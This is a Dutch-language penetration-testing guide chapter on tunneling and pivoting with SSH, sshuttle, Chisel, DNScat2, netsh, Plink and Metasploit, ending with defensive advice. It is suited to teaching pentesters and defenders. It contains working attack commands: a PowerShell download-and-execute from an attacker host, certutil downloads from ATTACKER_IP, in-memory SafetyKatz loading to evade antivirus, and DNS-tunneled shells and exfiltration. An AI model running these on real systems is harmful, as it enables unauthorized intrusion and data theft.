Tunneling en Pivoting

Er loopt, diep onder de Mexicaans-Amerikaanse grens, een tunnel die in 2020 werd ontdekt en die zo geavanceerd was dat hij een eigen spoorlijntje, ventilatie en elektriciteit had. Meer dan 1.300 meter lang, compleet met een lift aan de Mexicaanse kant en een uitgang in een onopvallend industriepand in het zuiden van San Diego. De douane liep er jarenlang letterlijk overheen zonder iets te merken.

Het punt is niet dat smokkelaars creatief zijn – dat wisten we al. Het punt is dat de meest effectieve manier om een bewaakt grensgebied te passeren niet is om harder te rennen, of onzichtbaar te worden, of de bewakers om te kopen. Het is om een weg te graven die de bewakers niet eens weten te zoeken. Een weg die recht onder hun voeten loopt, terwijl zij met verrekijkers naar de horizon turen.

Tunneling in computernetwerken werkt op exact hetzelfde principe. Je hebt een netwerk dat keurig is gesegmenteerd. Er zijn firewalls. Er zijn regels. Er zijn zones met namen als “DMZ” en “Management VLAN” die in de architectuurtekening met mooie kleurtjes zijn aangeduid. En dan ontdekt een penetratietester dat hij via een gecompromitteerde webserver een SSH-verbinding kan opzetten die al het verkeer naar het interne netwerk doorsluist alsof die segmentatie er nooit is geweest.

Welkom bij tunneling en pivoting – de kunst van het graven van digitale smokkeltunnels.

Waarom tunneling?

De meeste organisaties investeren flink in netwerksegmentatie. Dat is verstandig. Het idee is simpel: als een aanvaller het ene segment compromitteert, kan hij niet bij het andere. De webservers staan in de DMZ, de databases staan in een intern VLAN, en het management-netwerk is alleen bereikbaar via een jumphost.

In theorie.

In de praktijk is er bijna altijd een machine die in meerdere netwerken tegelijk zit. Een dual-homed server. Een applicatieserver die zowel in de DMZ als in het database-VLAN hangt. Een beheerworkstation dat overal bij kan “omdat dat makkelijker is”. En zodra je zo’n machine hebt gecompromitteerd, wordt die machine je pivot point – het scharnierpunt vanwaar je het volgende netwerksegment kunt bereiken.

Maar bereikbaarheid alleen is niet genoeg. Je hebt ook een manier nodig om je gereedschap door die pivot heen te sturen. Je Kali-machine staat in het aanvallersnetwerk. Je target staat in een intern segment dat niet direct bereikbaar is. Je hebt een tunnel nodig – een verborgen kanaal dat je verkeer van A naar B transporteert, ingepakt in een protocol dat de firewalls doorlaten.

En dat is precies wat dit hoofdstuk behandelt. Zeven verschillende manieren om tunnels te graven. Van het elegante SSH tot het brutale DNS. Van het minimalistische netsh tot het allesomvattende Metasploit. Elk met zijn eigen sterke en zwakke punten, en elk met een specifiek scenario waarin het de beste keuze is.

SSH Tunneling

Als tunneling een gereedschapskist is, dan is SSH de hamer. Niet omdat het het meest geavanceerde gereedschap is, maar omdat het overal beschikbaar is, iedereen het kent, en het in negentig procent van de gevallen precies doet wat je nodig hebt.

SSH – Secure Shell – werd in 1995 ontworpen door Tatu Ylonen, een Finse onderzoeker die geschrokken was van een wachtwoord-sniffing-aanval op zijn universiteitsnetwerk. Het oorspronkelijke doel was simpel: een versleutelde vervanging voor telnet. Maar ergens onderweg kreeg SSH de mogelijkheid om willekeurige TCP-verbindingen door te sturen, en daarmee werd het onbedoeld een van de krachtigste tunneling-tools die ooit zijn gemaakt.

Local Port Forwarding: -L

Local port forwarding is de meest rechttoe rechtaan vorm van SSH-tunneling. Je zegt tegen SSH: “Luister op een poort op mijn lokale machine, en stuur alles wat daar binnenkomt door naar een specifiek adres en poort aan de andere kant van de SSH-verbinding.”

ssh -N -L 8080:INTERNAL_TARGET:80 user@PIVOT_HOST

Laten we dit ontleden:

• -N – voer geen commando uit op de remote host. We willen alleen de tunnel.
• -L 8080:INTERNAL_TARGET:80 – luister lokaal op poort 8080, en forward naar INTERNAL_TARGET poort 80.
• user@PIVOT_HOST – de SSH-verbinding loopt via de pivot host.

Na dit commando kun je op je aanvalsmachine http://127.0.0.1:8080 openen en je praat rechtstreeks met de interne webserver. De pivot host handelt het routeren af. De firewall ziet alleen een SSH-verbinding – volkomen normaal verkeer.

Dit is het equivalent van een postadres in een ander land. Je stuurt je brief naar het adres in San Diego, en iemand in het pand stuurt het door naar de werkelijke bestemming in Tijuana. De postbode ziet alleen de eerste stap.

Remote Port Forwarding: -R

Remote port forwarding werkt precies andersom. In plaats van een poort op je lokale machine te openen, open je een poort op de remote host die terugwijst naar jouw machine.

ssh -N -R 4444:127.0.0.1:4444 user@ATTACKER_IP

Dit is bijzonder nuttig in reverse shell-scenario’s. Stel je voor: je hebt een exploit die een reverse shell terugstuurt naar poort 4444. Maar je target kan je aanvalsmachine niet direct bereiken – er zit een firewall tussen. Door een remote port forward op te zetten via de pivot host, maak je een pad terug.

De shell verbindt met de pivot host op poort 4444, en SSH stuurt dat verkeer door naar jouw machine. De firewall? Die ziet alleen uitgaande SSH-verbindingen. En uitgaand SSH-verkeer blokkeren? Dat doet bijna niemand, want dan belt de halve IT-afdeling om te klagen dat ze niet meer bij hun servers kunnen.

Dynamic SOCKS Proxy: -D

En dan is er de nucleaire optie. Dynamic port forwarding met de -D flag zet een volledige SOCKS proxy op via de SSH-tunnel.

ssh -N -D 127.0.0.1:1080 user@PIVOT_HOST

Dit creëert een SOCKS5 proxy op 127.0.0.1:1080. Elk programma dat je door deze proxy stuurt, laat zijn verkeer via de pivot host lopen. Je kunt heel het interne netwerk scannen, websites bezoeken, SMB-shares benaderen – alles via een enkele SSH-verbinding.

De IB command file tunnel_ssh_socks bevat dit commando inclusief de ProxyChains-configuratie die je nodig hebt om het te gebruiken:

# SSH Dynamic SOCKS Proxy + ProxyChains

# === SOCKS proxy opzetten ===
ssh -N -D 127.0.0.1:1080 user@PIVOT_HOST

# === ProxyChains configuratie ===
# /etc/proxychains4.conf:
# [ProxyList]
# socks5 127.0.0.1 1080

# === Gebruik via proxychains ===
proxychains nmap --top-ports=20 -sT -Pn INTERNAL_TARGET
proxychains curl http://INTERNAL_TARGET
proxychains firefox
proxychains crackmapexec smb INTERNAL_RANGE/24

IB Tip: Zoek op tunnel_ssh_socks in het Commands-paneel voor het volledige SSH SOCKS proxy-recept inclusief ProxyChains-configuratie en multi-hop voorbeelden.

ProxyChains: het bindmiddel

ProxyChains is het stukje lijm dat SSH-tunneling bruikbaar maakt voor gereedschap dat normaal geen SOCKS-proxy ondersteunt. Het werkt als een wrapper: je zet proxychains voor je commando, en het onderschept alle netwerkverbindingen en stuurt ze door de geconfigureerde proxy.

De configuratie is triviaal. Bewerk /etc/proxychains4.conf:

[ProxyList]
socks5 127.0.0.1 1080

Er is precies een belangrijke valkuil waar iedereen minstens een keer intrapt: ProxyChains werkt niet met SYN scans. Nmap’s -sS flag stuurt ruwe pakketjes die buiten de TCP-stack om gaan, en daar kan ProxyChains niets mee. Gebruik altijd -sT voor een volledige TCP connect scan:

proxychains nmap --top-ports=20 -sT -Pn INTERNAL_TARGET

Ja, het is langzamer. Ja, het is “luidruchtiger”. Maar het werkt. En een werkende scan die iets langer duurt is oneindig nuttiger dan een snelle scan die niets teruggeeft.

Multi-hop: -J en ProxyJump

Soms is een enkele pivot niet genoeg. Je moet door meerdere netwerksegmenten heen. Host A kan bij host B, host B kan bij host C, maar host A kan niet direct bij host C. Klassiek multi-hop scenario.

SSH heeft hier een elegante oplossing voor met de -J flag (ProxyJump):

ssh -J user@PIVOT1 user@PIVOT2

Of, voor de mensen die het liever in een config-bestand zetten:

Host internal
    ProxyJump pivot1
    HostName PIVOT2

Elke hop voegt latency toe. Elke hop voegt een punt toe dat kan falen. Maar soms is het de enige weg naar binnen, en dan is een langzame verbinding nog altijd beter dan helemaal geen verbinding.

Sshuttle

SSH-tunneling is krachtig, maar het heeft een fundamentele beperking: het werkt per poort, of via een SOCKS proxy die niet alle protocollen ondersteunt. Sshuttle lost dat op door een transparante VPN-achtige verbinding op te zetten die je verkeer routeert alsof je fysiek in het doelnetwerk zit.

Het mooie van sshuttle is dat het niets nodig heeft aan de serverkant behalve een werkende SSH-toegang en Python. Geen VPN-software, geen configuratie, geen root-rechten op de server. Het gebruikt SSH als transportlaag en doet alle magie aan de clientkant.

Hoe het werkt

Sshuttle manipuleert de lokale routeringstabellen en firewall-regels (via iptables op Linux, pf op macOS) zodat al het verkeer naar het opgegeven subnet automatisch door de SSH-tunnel gaat. Het is alsof je een VPN-verbinding hebt, maar dan zonder de overhead van een VPN.

sshuttle -r user@PIVOT_HOST 10.1.0.0/24

Dat is het. Vanaf dit moment gaat al het verkeer naar 10.1.0.0/24 via de pivot host. Geen ProxyChains nodig. Geen SOCKS-configuratie. Gewoon – het werkt.

IB Task Runner: sshuttle taak

In het IB-dashboard kun je sshuttle starten via de Task Runner. De taak is gedefinieerd in het _TASKS dictionary in tasks.py:

"sshuttle": {
    "label": "SSHuttle tunnel",
    "group": "network",
    "desc": "Start sshuttle VPN tunnel via SSH in screen sessie",
    "cmd": ["bash", "sshuttle.sh"],
    "args": [
        {"name": "target", "label": "SSH target",
         "placeholder": "user@10.0.0.5", "required": True,
         "pattern": "ssh_target"},
        {"name": "subnet", "label": "Subnet",
         "placeholder": "10.1.0.0/24", "required": True,
         "pattern": "subnet"},
        {"name": "key", "label": "Private key pad",
         "placeholder": "raw/loot/10.0.0.5/id_rsa",
         "required": False, "pattern": "file_path", "env": "SSH_KEY"},
        {"name": "password", "label": "SSH wachtwoord",
         "placeholder": "", "required": False,
         "type": "password", "env": "SSH_PASS"},
    ],
},

De Task Runner valideert alle invoer tegen regex-patronen voordat het commando wordt uitgevoerd. Geen shell injection mogelijk – elke parameter wordt gecontroleerd en als apart argument doorgegeven, nooit geinterpreteerd door een shell.

De onderliggende sshuttle.sh draait de tunnel in een screen-sessie zodat hij op de achtergrond blijft lopen:

#!/usr/bin/env bash
source meuk/globalmeuk.sh

SSHUTTLE_ARGS=(-r "$1" "$2")

if [ -n "$SSH_KEY" ]; then
    SSHUTTLE_ARGS=(--ssh-cmd "ssh -i $SSH_KEY" "${SSHUTTLE_ARGS[@]}")
fi

if [ -n "$SSH_PASS" ]; then
    screen -dmS "sshuttle_${1}" sshpass -p "$SSH_PASS" \
        sshuttle "${SSHUTTLE_ARGS[@]}"
else
    screen -dmS "sshuttle_${1}" sshuttle "${SSHUTTLE_ARGS[@]}"
fi

IB Tip: Start sshuttle via het Tasks-paneel in het dashboard. Vul het SSH target en subnet in, en optioneel een private key of wachtwoord. De tunnel draait in een screen-sessie en blijft actief na het sluiten van de browser.

Wanneer sshuttle vs. SSH SOCKS?

De vuistregel is simpel:

• SSH SOCKS (-D): Wanneer je specifieke tools door de tunnel wilt sturen en de rest van je verkeer normaal wilt houden. Fijnmazige controle.
• Sshuttle: Wanneer je transparant toegang wilt tot een heel subnet alsof je er fysiek zit. Brute kracht, maar ontzettend handig.

Sshuttle heeft een nadeel: het vereist root-rechten op je eigen machine (het moet immers de routeringstabel aanpassen). Maar op je Kali-box ben je toch al root, dus dat is zelden een probleem.

Chisel

Er zijn momenten waarop SSH geen optie is. De firewall blokkeert poort 22. Er is geen SSH-server op het target. Of je hebt een Windows-machine gecompromitteerd waar geen OpenSSH op staat en je hebt geen zin om er een te installeren.

Chisel is het antwoord voor die momenten. Het is een enkele binary – beschikbaar voor Windows, Linux en macOS – die TCP-tunnels opzet over HTTP en WebSocket-verbindingen. En HTTP-verkeer? Dat laten firewalls bijna altijd door. Het is het digitale equivalent van je smokkelwaar in een kist met “Bananen” erop te stoppen.

Server/Client model

Chisel werkt met een server-client-model. De server draait op je aanvalsmachine, de client op het gecompromitteerde target:

# Server (aanvaller):
chisel server --reverse --port 8080

# Client (target):
.\chisel.exe client 10.0.0.1:8080 R:socks

Met R:socks zet de client een reverse SOCKS proxy op. Alle verkeer dat je door 127.0.0.1:1080 stuurt, wordt via het target gerouteerd naar het interne netwerk. Combineer met ProxyChains en je hebt dezelfde functionaliteit als de SSH SOCKS proxy.

Port forwarding

Naast SOCKS ondersteunt Chisel ook specifieke port forwards:

# Enkele poort forwarden:
.\chisel.exe client 10.0.0.1:8080 R:8888:172.16.0.10:80

# Meerdere poorten tegelijk:
.\chisel.exe client 10.0.0.1:8080 \
    R:445:172.16.0.10:445 R:3389:172.16.0.10:3389

Dat laatste commando forward zowel SMB (445) als RDP (3389) van het interne target naar je aanvalsmachine. Je kunt vervolgens rdesktop 127.0.0.1:3389 draaien alsof het target naast je staat.

HTTPS voor stealth

Voor extra stealth kun je Chisel over HTTPS draaien met TLS:

# Server met TLS:
chisel server --reverse --port 443 \
    --tls-key key.pem --tls-cert cert.pem

# Client:
.\chisel.exe client https://10.0.0.1:443 R:socks

Een versleutelde verbinding over poort 443. Voor een firewall of IDS ziet het eruit als normaal HTTPS-verkeer. Je kunt zelfs een geldig certificaat gebruiken als je een domein hebt, waardoor het verkeer volledig opgaat in de achtergrond.

IB Tip: Zoek op net_chisel_tunnel in het Commands-paneel voor de complete Chisel SOCKS en port forwarding commando’s. Vergeet niet --auth user:pass toe te voegen als je de tunnel wilt beveiligen.

Chisel vs. SSH

In de praktijk is de keuze vaak simpel: als SSH beschikbaar is, gebruik SSH. Als het niet beschikbaar is of geblokkeerd wordt, pak Chisel.

DNScat2

En dan zijn er de momenten waarop echt alles geblokkeerd is. Geen SSH. Geen HTTP. Geen HTTPS. De firewall is dichtgetimmerd als een Middeleeuwse burcht. Er is precies een ding dat nog werkt: DNS.

DNS – het Domain Name System – is het telefoonboek van het internet. Elke keer dat je een website bezoekt, doet je computer een DNS-lookup om de domeinnaam te vertalen naar een IP-adres. En DNS-verkeer wordt bijna nooit geblokkeerd, want als je DNS blokkeert, werkt er helemaal niets meer. Geen websites. Geen e-mail. Geen updates. Niets.

DNScat2 misbruikt dit feit door data te verpakken in DNS-queries en -responses. Elke DNS-query kan een klein stukje data bevatten – een commando, een stukje van een bestand, een fragment van een shell-sessie. Het is langzaam. Het is beperkt (maximaal ongeveer 500 bytes per query). Maar het werkt wanneer niets anders werkt.

Het is het equivalent van berichten coderen in de classificeerdjes van de krant. Niemand verwacht dat er geheime boodschappen in de “Te Koop”-advertenties staan, en dus kijkt niemand.

Server setup

De server draait op je aanvalsmachine en heeft Ruby nodig. Idealiter ben je de authoritative DNS-server voor een domein, zodat alle DNS-queries voor dat domein bij jou uitkomen:

# Met domein (stealthy - gaat via reguliere DNS-resolutie):
ruby dnscat2.rb tunnel.domain.local \
    --secret=sharedsecret --security=open

# Zonder domein (direct mode - minder stealthy):
ruby dnscat2.rb --dns server=0.0.0.0,port=53 \
    --secret=sharedsecret

De --secret parameter is cruciaal: het voorkomt man-in-the-middle-aanvallen op de tunnel. Zonder shared secret kan iedereen die het DNS-verkeer onderschept de sessie overnemen.

IB Tip: Zoek op net_dnscat2_server in het Commands-paneel voor de server setup en sessiecommando’s. Vergeet niet de shared secret te genereren voordat je de server start.

Client

De client is beschikbaar als pre-compiled binary voor Windows, als Linux binary, en zelfs als PowerShell-script voor situaties waarin je geen binary kunt uploaden:

# Windows binary:
.\dnscat2-v0.07-client-win32.exe \
    --dns server=10.0.0.1,port=53 --secret=sharedsecret

# Via domein (stealthier):
.\dnscat2-v0.07-client-win32.exe tunnel.domain.local \
    --secret=sharedsecret

# Linux:
./dnscat --dns server=10.0.0.1,port=53 --secret=sharedsecret

# PowerShell (geen binary nodig):
powershell -c "IEX(New-Object Net.WebClient).DownloadString(
    'http://10.0.0.1/tools/dnscat2.ps1');
    Start-Dnscat2 -Domain tunnel.domain.local -DNSServer 10.0.0.1"

IB Tip: Zoek op net_dnscat2_client voor alle client-varianten. De PowerShell-variant is ideaal wanneer je geen bestanden kunt uploaden naar het target.

Sessies en interactie

Zodra een client verbindt, verschijnt er een sessie op de server:

dnscat2> sessions
dnscat2> session -i 1
command (victim01)> shell
command (victim01)> download C:\Windows\tasks\loot.txt /tmp/loot.txt

Je kunt een interactieve shell openen, bestanden downloaden, en commando’s uitvoeren – allemaal over DNS. Het is traag. Verschrikkelijk traag. Een bestand van een megabyte downloaden kan tientallen minuten duren. Maar als DNS je enige uitweg is, dan neem je die traagheid voor lief.

Wanneer DNScat2?

DNScat2 is je wapen van laatste redmiddel. Je gebruikt het wanneer:

1. Alle andere protocollen geblokkeerd zijn – de firewall staat alleen DNS toe.
2. Data exfiltratie – je moet kleine hoeveelheden data naar buiten krijgen zonder argwaan te wekken.
3. Persistence – een DNS-tunnel is moeilijker te detecteren dan een HTTP-callback.

Het is niet geschikt voor hoge bandbreedte. Het is niet geschikt als je snel moet werken. Maar het is een lifeline wanneer elke andere deur dicht zit.

En het feit dat het werkt – dat je een volledige command-and-control-sessie kunt draaien over iets dat bedoeld is om www.google.com te vertalen naar 142.250.180.4 – zegt iets verontrustends over hoe weinig aandacht de meeste organisaties besteden aan hun DNS-verkeer.

Netsh Port Forwarding

Er zijn momenten in het leven van een penetratietester waarop je op een Windows-machine zit die zo vergrendeld is dat je er niets op kunt installeren. Geen Chisel. Geen Plink. Geen PowerShell-modules van internet. AppLocker staat aan. De antivirus is alert. Je hebt precies de tools die Windows zelf meelevert.

Gelukkig is netsh een van die tools.

netsh – Network Shell – is een ingebouwde Windows-tool die al bestaat sinds Windows XP, en het kan port forwarding doen zonder dat je iets hoeft te installeren. Het is niet fancy. Het heeft geen encryptie. Maar het werkt, en het ziet eruit als een legitiem Windows-commando, want dat is het ook.

# Port forward aanmaken
netsh interface portproxy add v4tov4 \
    listenport=4455 listenaddress=0.0.0.0 \
    connectport=445 connectaddress=INTERNAL_TARGET

# Firewall regel toevoegen
netsh advfirewall firewall add rule name="port_fwd" \
    protocol=TCP dir=in localport=4455 action=allow

# Verifieer
netsh interface portproxy show all

Dit luistert op poort 4455 van de gecompromitteerde host en stuurt alles door naar poort 445 (SMB) van het interne target. Je kunt nu vanaf je aanvalsmachine SMB-verkeer sturen naar de pivot host op poort 4455, en het wordt doorgestuurd naar het interne netwerk.

Meerdere forwards

Je kunt meerdere port forwards tegelijk opzetten:

netsh interface portproxy add v4tov4 \
    listenport=3389 listenaddress=0.0.0.0 \
    connectport=3389 connectaddress=INTERNAL_TARGET

netsh interface portproxy add v4tov4 \
    listenport=80 listenaddress=0.0.0.0 \
    connectport=80 connectaddress=INTERNAL_TARGET

De NetLoader chain trick

Een slimme combinatie is het forwarden van een HTTP-poort naar je aanvalsmachine, zodat je tools in-memory kunt laden via de pivot:

# Forward HTTP poort naar aanvaller:
netsh interface portproxy add v4tov4 \
    listenport=8080 listenaddress=0.0.0.0 \
    connectport=80 connectaddress=ATTACKER_IP

# Op het target:
Loader.exe -path http://127.0.0.1:8080/SafetyKatz.exe

Het target denkt dat het een lokaal bestand laadt, maar in werkelijkheid haalt het de tool op van je aanvalsmachine, via de netsh-forward. Geen bestanden op schijf. Geen AV-trigger. Elegant in zijn eenvoud.

Opruimen

En vergeet niet op te ruimen als je klaar bent:

# Specifieke forward verwijderen:
netsh interface portproxy delete v4tov4 \
    listenport=4455 listenaddress=0.0.0.0

# Firewall regel verwijderen:
netsh advfirewall firewall delete rule name="port_fwd"

# Alles resetten:
netsh interface portproxy reset

IB Tip: Zoek op tunnel_netsh in het Commands-paneel. De commando’s bevatten zowel het aanmaken, verifieren als opruimen van port forwards. Vergeet die laatste stap niet – achtergelaten port forwards zijn een bevindingsrisico.

Een belangrijk detail: netsh port forwarding vereist SYSTEM- of administrator-privileges. Maar als je op een Windows-machine zit waar je netsh kunt draaien, heb je die privileges waarschijnlijk al.

Plink

Plink is het command-line broertje van PuTTY, en het is de Windows-oplossing voor SSH-tunneling wanneer OpenSSH niet beschikbaar is. Op oudere Windows-systemen – en die kom je in enterprise-omgevingen vaker tegen dan je zou willen – is OpenSSH niet standaard geinstalleerd. PuTTY daarentegen staat op de helft van alle Windows-machines in corporate omgevingen, en als het er niet staat, wordt plink.exe door vrijwel geen enkele antivirus als verdacht beschouwd.

Remote port forward

Het meest voorkomende gebruik is een remote port forward vanuit een non-interactieve shell:

cmd.exe /c echo y | plink.exe -ssh -l kali -pw KALI_PASS \
    -R KALI_IP:4444:127.0.0.1:4444 KALI_IP

Die echo y aan het begin is cruciaal. Plink vraagt bij de eerste verbinding of je de host key wilt accepteren. In een non-interactieve shell kun je niet “yes” typen, dus pipe je het er doorheen. Het is lelijk. Het is onveilig (je accepteert elke host key blindelings). Maar in een pentest-scenario is dat een acceptabele trade-off.

Alle varianten

# Local port forward:
plink.exe -ssh -l kali -pw KALI_PASS \
    -L 8080:INTERNAL_TARGET:80 KALI_IP

# Dynamic SOCKS proxy:
plink.exe -ssh -l kali -pw KALI_PASS -D 1080 KALI_IP

# Met SSH key:
plink.exe -ssh -i key.ppk -l kali \
    -R KALI_IP:4444:127.0.0.1:4444 KALI_IP

# Meerdere forwards:
plink.exe -ssh -l kali -pw KALI_PASS \
    -R 4444:127.0.0.1:4444 -R 8080:127.0.0.1:80 KALI_IP

Plink op het target krijgen

Als Plink niet al op het target staat, kun je het er naartoe krijgen met de gebruikelijke methoden:

# Via certutil:
certutil -urlcache -f http://ATTACKER_IP/plink.exe \
    C:\Windows\tasks\plink.exe

# Via PowerShell:
(New-Object Net.WebClient).DownloadFile(
    'http://ATTACKER_IP/plink.exe',
    'C:\Windows\tasks\plink.exe')

IB Tip: Zoek op tunnel_plink in het Commands-paneel. Let op: Plink gebruikt .ppk-bestanden voor keys, niet het OpenSSH-formaat. Converteer met PuTTYgen als je een OpenSSH-key hebt.

Plink is niet de eerste keuze. Het is niet de elegantste tool. Maar op een verouderde Windows Server 2012 in een hoekje van het netwerk waar niemand ooit naar omkijkt – daar is Plink precies wat je nodig hebt. Het is de schroevendraaier in de lade die je een keer per jaar nodig hebt, maar die dan precies de juiste maat blijkt te zijn.

Metasploit Pivoting

Als SSH de hamer is en Chisel het multitool, dan is Metasploit de complete werkplaats. Metasploit’s pivoting-mogelijkheden zijn ingebouwd in het framework en werken naadloos samen met de rest van het ecosysteem: exploits, payloads, post-exploitation modules – alles kan door een Metasploit-tunnel lopen.

Autoroute

De eerste stap is altijd autoroute. Als je een Meterpreter-sessie hebt op een dual-homed host, kun je Metasploit vertellen om verkeer naar het interne netwerk via die sessie te routeren:

use multi/manage/autoroute
set SESSION 1
set SUBNET 10.1.0.0
set NETMASK 255.255.255.0
exploit

Of handmatig:

route add 10.1.0.0/24 1
route print

Vanaf dit moment stuurt Metasploit al het verkeer naar 10.1.0.0/24 via sessie 1. Exploits, scans, auxiliary modules – alles gaat automatisch via de pivot.

SOCKS proxy

Maar wat als je tools buiten Metasploit wilt gebruiken? Dan zet je een SOCKS proxy op:

use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set SRVPORT 1080
set VERSION 5
exploit -j

Combineer met ProxyChains (socks5 127.0.0.1 1080 in de config) en je kunt nmap, CrackMapExec, en elk ander tool door de Metasploit-tunnel sturen:

proxychains nmap -sT -Pn 10.1.0.0/24
proxychains crackmapexec smb 10.1.0.0/24

Meterpreter portfwd

Voor specifieke poorten biedt Meterpreter zijn eigen port forwarding:

# Local port forward:
meterpreter > portfwd add -l 3389 -p 3389 -r INTERNAL_TARGET
# Verbind: rdesktop 127.0.0.1:3389

# SMB forward:
meterpreter > portfwd add -l 445 -p 445 -r INTERNAL_TARGET

# Reverse port forward:
meterpreter > portfwd add -R -l 4444 -p 4444 -L 0.0.0.0

# Overzicht:
meterpreter > portfwd list

# Verwijderen:
meterpreter > portfwd delete -l 3389 -p 3389 -r INTERNAL_TARGET

Resource script voor snelle setup

Voor herhaalde engagements kun je een resource script maken dat de hele pivot-infrastructuur in een keer opzet:

# pivot.rc
use multi/manage/autoroute
set SESSION 1
exploit
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
exploit -j

Start met:

msfconsole -r pivot.rc

Binnen dertig seconden heb je autoroute en een SOCKS proxy draaien. Efficiëntie.

IB Tip: Zoek op tunnel_msf_pivot in het Commands-paneel voor het complete Metasploit pivoting-recept: autoroute, SOCKS proxy, en portfwd in een overzicht. De resource script-techniek staat er ook bij.

Multi-hop Scenarios

De werkelijkheid van een groot enterprise-netwerk is zelden zo simpel als “een hop en je bent er”. Je start in de DMZ, pivoteert naar het applicatie-segment, dan naar het database-segment, en uiteindelijk naar het management-VLAN waar de Domain Controllers staan. Elke stap is een tunnel door een tunnel door een tunnel, als een Russische matroesjka-pop van netwerkverbindingen.

Het patroon

Een typisch multi-hop-scenario ziet er zo uit:

Aanvaller --> [SSH tunnel] --> Pivot 1 (DMZ)
                                  |
                                  +-> [Chisel tunnel] --> Pivot 2 (App VLAN)
                                                              |
                                                              +-> [portfwd] --> Target (DB VLAN)

Praktisch voorbeeld

# Hop 1: SSH SOCKS proxy naar DMZ host
ssh -N -D 127.0.0.1:1080 user@dmz-host

# Hop 2: Chisel via ProxyChains naar app-server
proxychains chisel server --reverse --port 9090 &
# Op app-server (via hop 1):
.\chisel.exe client dmz-host:9090 R:1081:socks

# Hop 3: ProxyChains config met chain
# /etc/proxychains4.conf:
# chain_len = 2
# [ProxyList]
# socks5 127.0.0.1 1080
# socks5 127.0.0.1 1081

Elke hop voegt complexiteit en latency toe. Bij drie hops merk je het. Bij vier hops wordt het frustrerend. Bij vijf hops ga je je afvragen of het netwerk misschien toch niet zo slecht gesegmenteerd is en je gewoon de verkeerde route neemt.

SSH ProxyJump keten

SSH maakt multi-hop het eenvoudigst met een keten van ProxyJumps:

ssh -J user@pivot1,user@pivot2 user@target

Of in je SSH config:

Host target-deep
    HostName 10.3.0.50
    User admin
    ProxyJump pivot2

Host pivot2
    HostName 10.2.0.10
    User operator
    ProxyJump pivot1

Host pivot1
    HostName 192.168.1.100
    User pentest

Met ssh target-deep loop je automatisch door alle hops. Elegant. Onderhoudbaar. En het laat zien dat SSH niet voor niets al dertig jaar de standaard is.

Verdediging

Nu, het cynische deel. Want iemand moet het zeggen.

“Ons netwerk is gesegmenteerd.”

Ja. Dat zeggen ze allemaal. Het staat in de PowerPoint. Het staat in het beveiligingsbeleid. Er is ooit een architect geweest die een prachtige tekening heeft gemaakt met gekleurde vlakken en pijltjes, en iedereen heeft geknikt en “goed plan” gezegd.

En dan blijkt dat de applicatieserver in de DMZ een tweede netwerkkaart heeft die rechtstreeks in het database-VLAN hangt, “omdat de applicatie anders te langzaam is”. Of dat er een beheer-VLAN is dat overal bij kan, en dat iedereen van IT daar toegang toe heeft “voor troubleshooting”. Of dat de firewall-regels ooit als tijdelijke maatregel zijn verruimd en nooit meer zijn teruggedraaid, omdat niemand meer weet waarom ze er stonden.

Segmentatie die niet wordt gehandhaafd, is geen segmentatie. Het is decoratie.

Maar goed. Er zijn dingen die je kunt doen om tunneling moeilijker te maken. Niet onmogelijk – niets is onmogelijk als de aanvaller voldoende tijd en motivatie heeft – maar moeilijker.

Egress filtering

De meeste firewalls controleren inkomend verkeer alsof hun leven ervan afhangt, en laten uitgaand verkeer zonder enige inspectie door. Dat is alsof je een nachtclub runt waar de uitsmijter alleen controleert wie er binnenkomt, maar iedereen die naar buiten loopt met een flatscreen onder zijn arm vrolijk doorlaat.

Implementeer egress filtering. Beperk welke poorten uitgaand verkeer mogen gebruiken. Sta SSH alleen toe naar bekende bestemmingen. Forceer HTTP-verkeer via een proxy. En log alles.

# Voorbeeld: alleen bekende bestemmingen voor SSH
iptables -A OUTPUT -p tcp --dport 22 -d known_ssh_server -j ACCEPT
iptables -A OUTPUT -p tcp --dport 22 -j DROP

DNS inspection

DNS-tunneling werkt omdat niemand naar DNS-verkeer kijkt. Verander dat.

• Monitor query-lengtes: normale DNS-queries zijn kort. DNScat2-queries zijn lang en bevatten gecodeerde data.
• Monitor query-volumes: een machine die honderden DNS-queries per minuut doet naar hetzelfde domein is verdacht.
• Gebruik een DNS firewall die bekende tunneling-domeinen blokkeert.
• Forceer al het DNS-verkeer via je eigen resolvers en blokkeer directe DNS naar externe servers.

Network monitoring

Deploy een IDS/IPS die tunneling-patronen herkent:

• SSH over niet-standaard poorten
• HTTP-verkeer dat geen echte HTTP-payload bevat (Chisel)
• Abnormale DNS-patronen
• Langdurige verbindingen naar enkele hosts

SSH hardening

• Beperk SSH-toegang tot specifieke IP-adressen en gebruikers
• Schakel agent forwarding uit tenzij expliciet nodig: AllowAgentForwarding no
• Schakel TCP forwarding uit waar het niet nodig is: AllowTcpForwarding no
• Log alle SSH-verbindingen en monitor op anomalieen
• Gebruik certificaat-gebaseerde authenticatie in plaats van wachtwoorden

Microsegmentatie

De trend in moderne netwerken is microsegmentatie: niet alleen segmenteren per VLAN, maar per workload. Elke applicatie, elke service, elke container heeft zijn eigen set van firewall-regels die alleen het strikt noodzakelijke verkeer toestaan.

Het is meer werk. Veel meer werk. Maar het betekent dat een gecompromitteerde webserver niet automatisch bij de database kan, zelfs als ze in hetzelfde VLAN zitten. De tunnel moet niet alleen het netwerk overbruggen, maar ook de applicatielaag, en dat maakt pivoting exponentieel moeilijker.

De cynicus heeft het laatste woord

Weet je wat het mooiste is aan tunneling? Het toont perfect aan hoe de beveiligingsindustrie werkt.

Een organisatie geeft honderdduizenden euro’s uit aan next-generation firewalls met deep packet inspection, SSL-interceptie, en AI-powered threat detection. Ze huren een consultant in om de netwerksegmentatie te ontwerpen. Ze laten een architectuurtekening maken die eruitziet als een kunstwerk van Mondriaan.

En dan doet een penetratietester ssh -D 1080 op een vergeten Linux-server in de DMZ en heeft binnen twee minuten toegang tot het complete interne netwerk.

Niet omdat de tools niet werken. Niet omdat de firewall slecht is. Maar omdat ergens, op een dinsdagmiddag om half vijf, iemand een uitzondering heeft gemaakt. “Alleen tijdelijk.” “Alleen voor dit project.” “Alleen voor deze server.”

Tijdelijke uitzonderingen zijn de permanente bewoners van elk beveiligingsbeleid. Ze komen binnen met de belofte dat ze morgen weer vertrekken, en vijf jaar later zitten ze er nog steeds, met pantoffels aan en een abonnement op de kabelkrant.

